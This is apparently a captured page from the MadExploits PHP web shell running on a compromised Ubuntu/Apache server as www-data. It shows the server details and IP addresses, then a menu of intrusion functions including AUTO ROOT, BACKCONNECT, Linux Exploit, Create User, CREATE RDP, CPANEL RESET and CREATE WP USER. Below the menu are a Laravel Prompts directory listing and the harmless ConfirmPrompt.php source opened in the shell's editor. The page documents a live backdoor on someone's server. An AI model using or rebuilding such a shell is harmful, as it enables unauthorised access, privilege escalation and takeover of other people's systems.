Linux 5474007-topit 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
Apache/2.4.52 (Ubuntu)
: 85.198.82.39 | : 216.73.216.129
Cant Read [ /etc/named.conf ]
8.3.30
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
back /
vendor /
laravel /
prompts /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
Concerns
[ DIR ]
drwxr-xr-x
Exceptions
[ DIR ]
drwxr-xr-x
Output
[ DIR ]
drwxr-xr-x
Support
[ DIR ]
drwxr-xr-x
Themes
[ DIR ]
drwxr-xr-x
Clear.php
602
B
-rw-r--r--
ConfirmPrompt.php
1.36
KB
-rw-r--r--
FormBuilder.php
9.58
KB
-rw-r--r--
FormStep.php
1.33
KB
-rw-r--r--
Grid.php
1.18
KB
-rw-r--r--
Key.php
1.77
KB
-rw-r--r--
MultiSearchPrompt.php
6.15
KB
-rw-r--r--
MultiSelectPrompt.php
4.13
KB
-rw-r--r--
Note.php
791
B
-rw-r--r--
PasswordPrompt.php
1
KB
-rw-r--r--
PausePrompt.php
568
B
-rw-r--r--
Progress.php
4.85
KB
-rw-r--r--
Prompt.php
10.87
KB
-rw-r--r--
SearchPrompt.php
4.03
KB
-rw-r--r--
SelectPrompt.php
3.26
KB
-rw-r--r--
Spinner.php
3.24
KB
-rw-r--r--
SuggestPrompt.php
3.97
KB
-rw-r--r--
Table.php
1.58
KB
-rw-r--r--
Terminal.php
2.43
KB
-rw-r--r--
TextPrompt.php
885
B
-rw-r--r--
TextareaPrompt.php
6.94
KB
-rw-r--r--
helpers.php
8.79
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ConfirmPrompt.php
<?php namespace Laravel\Prompts; use Closure; class ConfirmPrompt extends Prompt { /** * Whether the prompt has been confirmed. */ public bool $confirmed; /** * Create a new ConfirmPrompt instance. */ public function __construct( public string $label, public bool $default = true, public string $yes = 'Yes', public string $no = 'No', public bool|string $required = false, public mixed $validate = null, public string $hint = '', public ?Closure $transform = null, ) { $this->confirmed = $default; $this->on('key', fn ($key) => match ($key) { 'y' => $this->confirmed = true, 'n' => $this->confirmed = false, Key::TAB, Key::UP, Key::UP_ARROW, Key::DOWN, Key::DOWN_ARROW, Key::LEFT, Key::LEFT_ARROW, Key::RIGHT, Key::RIGHT_ARROW, Key::CTRL_P, Key::CTRL_F, Key::CTRL_N, Key::CTRL_B, 'h', 'j', 'k', 'l' => $this->confirmed = ! $this->confirmed, Key::ENTER => $this->submit(), default => null, }); } /** * Get the value of the prompt. */ public function value(): bool { return $this->confirmed; } /** * Get the label of the selected option. */ public function label(): string { return $this->confirmed ? $this->yes : $this->no; } }
Close